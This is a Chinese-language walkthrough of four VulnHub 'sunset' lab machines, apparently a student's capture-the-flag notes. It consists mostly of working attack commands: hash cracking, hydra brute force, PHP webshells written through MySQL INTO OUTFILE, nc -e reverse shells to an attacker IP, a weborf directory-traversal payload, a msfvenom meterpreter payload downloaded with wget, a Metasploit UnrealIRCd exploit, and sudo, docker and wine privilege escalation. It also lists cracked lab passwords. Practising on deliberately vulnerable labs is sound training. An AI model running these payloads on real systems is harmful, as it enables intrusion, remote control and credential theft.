描述:该合集包含sunset系列适合新手的四个靶机(sunset:1、dusk、sunrise、noontide)的渗透全过程。
靶机下载地址:Vulnerable By Design - Search: sunset ~ VulnHubhttps://www.vulnhub.com/?q=sunset
sunset:1
渗透过程
信息收集
确认目标主机ip:192.168.56.126,并且开放21,22端口。
nmap 192.168.56.0/24 -Pn nmap 192.168.56.126 -A -T4
FTP匿名登录
anonymou:空密码
mget命令下载backup文件到本地,获得类似于shadow文件中密码加密的部分。
CREDENTIALS:
office:$6$$9ZYTy.VI0M7cG9tVcPl.QZZi2XHOUZ9hLsiCr/avWTajSPHqws7.75I9ZjP4HwLN3Gvio5To4gjBdeDGzhq.X.
datacenter:$6$$3QW/J4OlV3naFDbhuksxRXLrkR6iKo4gh.Zx1RfZC2OINKMiJ/6Ffyl33OFtBvCI7S4N1b8vlDylF2hG2N0NN/
sky:$6$$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwfH0qepG0
sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
space:$6$$4NccGQWPfiyfGKHgyhJBgiadOlP/FM4.Qwl1yIWP28ABx.YuOsiRaiKKU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/
john破解
重点看一下
sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
$6表示是SHA-512加密。
john backup
sunset:cheer14
ssh连接成功,获得user.txt。
ed提权
sudo ed
!/bin/sh
命令参考ed | GTFOBins
提权成功。
sunset:dusk
渗透过程
信息收集
nmap 192.168.56.0/24 -Pnnmap 192.168.56.127 -A -T4
开放端口:21,22,25,80,3306,8080。
8080端口提示当前目录是/var/tmp。
hydra爆破数据库
没什么收获尝试爆破ssh,mysql密码。
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.127 mysql
root:password,成功连接数据库。
mysql写入webshell
根据前面8080端口提示的路径/var/tmp,向该路径写入一句话木马。
select "<?php eval($_GET['cmd']);?>" into outfile "/var/tmp/1.php";
验证一下,成功写入了一句话木马。
蚁剑连接时发现返回空,换个一句话木马
select "<?php @eval($_POST['cmd']);?>" INTO OUTFILE "/var/tmp/shell.php";
之后上传反弹shell文件即可or不连接蚁剑直接nc反弹shell
http://192.168.56.127:8080/shell.php?cmd=system(%27nc%20-e%20/bin/sh%20192.168.56.109%208888%27);
http://192.168.56.127:8080/1.php?cmd=system(%27nc%20-e%20/bin/sh%20192.168.56.109%208888%27);
python获取tty
python -c 'import pty;pty.spawn("/bin/bash")'
get user.txt。
提权
提权到dusk。
COMMAND='/bin/sh'
sudo -u dusk make -s --eval=$'x:\n\t-'"$COMMAND"
这时注意到dusk属于docker组。
docker用户组提权
docker用户组提权原理不说了,利用过程简而言之就是利用任意镜像创建容器。
docker images# 没有镜像就拉一个
docker pull alpinedocker run -v /:/mnt -it apline# 参数解析
-v # 给容器挂载存储卷,挂载到容器的某个目录
-i # 控制台交互
-t # 分配tty设备
get root.txt。
sunset:sunrise
渗透过程
信息收集
nmap 192.168.56.0/24 -Pnnmap 192.168.56.130 -A -T4
全面扫描还是有必要的,例如这里主机发现时知道开放了22,80,3306端口;全面扫描后发现还有8080端口也开放了。
访问8080端口得到一个信息weborf0.12.2。
weborf目录穿越
searchsploit搜索一下有没有漏洞可以利用。
有一个目录穿越可以试试。
..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
得到信息:存在sunrise和weborf两个用户。
通过目录穿越看看两个用户目录下有没有什么可用信息。
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fsunrise%2f
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f
get user.txt.
a6050aecf6303b0b824038807d823a89
挨个看没发现什么。
direarch再扫一下/weborf目录下的文件。
dirsearch -u http://192.168.56.130:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f
在.mysql_history中得到一组用户名密码。
show databases; ALTER USER 'weborf'@'localhost' IDENTIFIED BY 'iheartrainbows44';
用这组密码ssh连接成功,mysql连接成功。
在mysql数据库user表中得到sunrise的明文密码thefutureissobrightigottawearshades和root用户的加密密码(md5解密,需要付费暂时放弃,看看有没有其他方法提权到root)。
提权
切换到sunrise用户后,sudo -l。
wine命令提权,这个命令就是linux用来运行exe文件的。因此,尝试msf生成一个exe木马,上传到目标机用wine命令执行。
# 攻击机
msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 LHOST=192.168.56.109 LPORT=4444 -o 1.exe# 开启简易http
python -m http.server# msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.109
run# 目标机
cd tmp
wget http://192.168.56.109:8000/1.exe
/usr/bin/wine 1.exe
get root.txt.
sunset:noontide
渗透过程
简单信息收集
# 主机发现
nmap 192.168.56.0/24 -Pn
# 端口扫描
nmap 192.168.56.124 -A -T4
发现仅开放6667端口,版本信息:UnrealIRCd
UnrealIRCd漏洞利用
msfconsole
search UnrealIRCd
use 0
set payload cmd/unix/reverse_perl
set RHOSTS 192.168.56.124
set LHOSTS
run
通过python获得一个完整的tty。
python3 -c 'import pty;pty.spawn("/bin/bash")'
get local.txt
弱口令root....切换到root权限。
get proof.txt🎆